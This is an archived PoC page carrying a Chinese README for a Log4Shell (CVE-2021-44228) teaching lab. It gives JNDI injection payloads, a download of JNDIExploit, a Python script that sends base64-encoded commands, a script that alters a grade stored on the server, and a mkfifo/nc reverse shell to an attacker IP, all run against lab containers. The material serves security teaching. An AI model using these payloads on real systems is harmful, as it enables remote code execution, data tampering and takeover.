POC详情: bee903a229cfa8954915eb16e6b0c245b70225d3

来源
关联漏洞
标题: Apache Log4j 代码问题漏洞 (CVE-2021-44228)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
描述
Log4Shell CVE-2021-44228 Demo
介绍
# CVE-2021–44228 Demo

## 1. CVE-2021–44228 簡介
2021 年底資安界最大的新聞莫過於 Log4j 的漏洞,編號為 CVE-2021-44228,又被稱為 **Log4Shell**,在 CVSS 漏洞評分系統中被評判為最**嚴重等級的 10 分**,也被認為是近年來繼 Heartbleed、ShellShock 最重大的漏洞。有人甚至形容它為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。本次專題針對 CVE-2021-44228 進行分析,並且配合 lab 實作。

## 2. 關於 Log4j
Logfile(紀錄檔案)是一個記錄了發生在執行中的作業系統或軟體中的事件的檔案,或者記錄了在網路聊天軟體的使用者之間傳送的訊息。許多作業系統、軟體框架和程式都包含紀錄檔系統。Java 有一個很好用的 log 套件,就叫做 Log4j。這個套件是隸屬於 Apache 軟體基金會,因此全名又叫做 Apache Log4j。

Log4j 是一個非常好用的工具,它廣泛地被 Java 程式使用。很多時候軟體工程師會需要將一些執行程式的資料寫入記錄檔中,或是寫入其他的資料庫以供後續使用。這就是 Log4j 的用途,它可以從某個地方接受一個字串 (例如登入畫面上輸入的使用者 ID),然後將字串寫到另一個地方 (例如認證流程的資料輸入欄位)。除了基本的複製/貼上,Log4j 還可以查看並解讀字串的內容。而解讀就是一個危險的動作,因為除非程式先將字串處理乾淨,否則在解讀時很容易發生問題。Log4j 並不會先將字串處理乾淨再解讀,因此攻擊者有機會進行注入攻擊(injection)。

## 3 CVE-2021–44228
CVE-2021-44228 是一個重大的漏洞,因為它讓 java server 可以被未經身份驗證的攻擊者執行 RCE(Remote Code Execution,遠端執行程式碼攻擊)。該漏洞源於 log4j 如何處理日誌訊息。如果攻擊者發送處理過的訊息(包含類似 ${jndi:ldap://rogueldapserver.com/a} 的字符串),這可能會導致加載 external code class 或 message lookup 並執行該程式,從而導致到 RCE 發生。

![](https://i.imgur.com/su4FX3r.png)

以下是 RCE 的基本流程。

1. Attacker 發送帶有注入攻擊的請求到 Vulnerable Server。例如:發送 http request
    ```
    $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
    ```
2. 送進去的字串會被傳給 log4j 做 logging 紀錄。同時,Log4j 也會收到 ${jndi:ldap://evil.xo/x}
3. Log4j 查看並解讀字串的內容,然後 JNDI (Java命名和目錄介面)詢問 LDAP server。LDNP 是通過IP協定提供存取控制和維護分散式資訊的 directory 的網路協定。
4. LDAP Server 是一個惡意 server,收到 JNDI Query 後它會解析被注入的內容,然後回覆給 JNDI 需要的 directory,其中包含惡意的 java class 或是指令。
5. Vulnerable Server 執行 JNDI 收到的回覆,攻擊者注入成功。

## 如何防禦 Log4j 漏洞問題

1. 使用最新版的 Log4j 來重新建立程式套件 (目前的版本為 2.17.xx),此外也請查看一下 Apache Foundation 網站上的最新修正資訊。
2. 架設 WAF(Web application firewall)定義入侵規則,過濾 log4j 的輸入字串,但是這比較是治標不治本的方法,攻擊者有機會隱藏字串,例如使用 base64 加密來躲避文字掃描偵測。
4. 暫時停用 log 功能,直到修正或
5. 更新程式碼為止。您可能必須將所有呼叫到 Log4j 的地方都標成註解,所以應用程式可能會失去某些功能,例如:無法再將某使用者的訊息傳送給另一名使用者。順便一提,這就是當初這個漏洞被發現的原因:有 Minecraft 玩家發現,如果他們在聊天方塊中貼入 Log4j 的指令,這些訊息會被直接當成指令來執行,而非當成訊息傳送。


# Lab Environment

## 1. 環境設定
請先下載 SEED Ubuntu 20.04 VM,此 VM 提供安裝好的 docker 環境。[**Download**](https://seedsecuritylabs.org/labsetup.html)

### 下載 JNDIExploit

```shell
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
```

### Container Setup
```shell
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

# Aliases for the Compose commands above
$ dcbuild   # Alias for: docker-compose build
$ dcup      # Alias for: docker-compose up
$ dcdown    # Alias for: docker-compose down
```

### Container Command
```shell
$ dockps        # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias for: docker exec -it <id> /bin/bash

# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
```

為了簡化步驟,所有 server 均在同一個 LAN 之下

![](https://i.imgur.com/neiq8eW.jpg)

# Lab Task

## Task 1: Using Log4j
在這個 Task 裡使用者可以熟悉一下 ```log4j``` 是如何運作的。使用者可以使用 ```X-Api-Version``` header 去使用 log4j 紀錄 log
```shell
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
```
如果 Server 有正確解析到你發送的 request,他會回傳一個 ```Hello World!```
請在報告上記錄 Server 回傳的結果跟 Server 是否有正確解析 request 並記錄 log

## Task 2: Launch Log4Shell
在 2013 年的時候,Log4j 套件新增了「**JNDILookup** 外掛程式」,允許開發人員利用 JNDI 結合 LDAP 的方式取得其他外部 JNDITutorial 的 Java 資料物件

接下來我們要用剛剛使用的 ```log4j``` 結合 JNDIExploit,讓 Server 執行我們想讓他執行的命令

```shell
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
```

請在 ```/tmp``` 資料夾裡建立一個 secret.txt 檔案,並且進入 server 裡確認是否檔案有建立成功

<br>

> **Note-1**: \<content> 是不能直接放指令的,需要做轉換 <br>
> **Note-2**: 因為 ```vulnerable-app``` 沒有 ```/bin/bash``` 這個 shell 可以使用,如果要確認檔案的話可以使用 docker 指令 <br>
```shell
$ docker exec vulnerable-app ls /tmp
```

> [**詳細 JNDIExploit 使用**](https://github.com/Mr-xn/JNDIExploit-1)

## Task 3: Modifying Server File

經過前面的 task,我們發現 ```vulnerable-app``` 會執行任何攻擊者的 ```base64``` 指令,如果攻擊者想做更複雜的操作,他可以傳送```shell script```攻擊腳本讓 server 執行。

```shell
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
```
<!-- 946, 60, 23 -->
上面是一個修改網站成績的腳本,成績存放在```index.html```內,請先成功執行它並且指出不一樣的地方。然後修改這個腳本,使得成績檔案更改成你想要的數字。

<br>

> **Note-1**: 方便修改檔案的方法還有 ```sed``` <br>
> **Note-2**: 因為 ```vulnerable-app``` 不能接受使用者透過瀏覽器去查看 /var/www,如果要確認檔案的話可以使用 docker 指令
```shell
$ docker exec vulnerable-app cat /var/www/index.html
```

## Task 4: Creating Revserse Shell using Log4Shell

經過前面的 Task 我們已經可以把我們想執行的指令轉成 ```base64``` 讓 server 去執行了,為了完全掌控 server,可以利用指令建立一個 reverse shell

```shell
# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
```

為了方便進行,我們提供一個 python 腳本放便大家進行攻擊

```python
import os
import sys
import base64
import requests
                    
ldap = '###'        # user modify
server_ip = '###'   # user modify

cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
```

```shell
$ ./script '<command>'
```

<br>

> **Note**: ```vulnerable-app``` 沒有 ```/bin/bash``` 跟 ```/dev/tcp```,所以無法使用普通 reverse shell 的方式,不過我們可以建立一個 pipe 的檔案對它進行讀寫
    
```shell
$ mkfifo <file-name>
```

## Reference

https://github.com/christophetd/log4shell-vulnerable-app <br>
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo <br>
https://github.com/Mr-xn/JNDIExploit-1 <br>
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641 <br>
文件快照
 [4.0K]  /data/pocs/bee903a229cfa8954915eb16e6b0c245b70225d3
├── [ 687]  docker-compose.yml
├── [4.0K]  LDAP_server
│   └── [ 562]  Dockerfile
├── [8.5K]  README.md
├── [ 438]  script.py
└── [4.0K]  vulnerable_server
    ├── [  78]  Dockerfile
    └── [ 971]  index.html

2 directories, 6 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。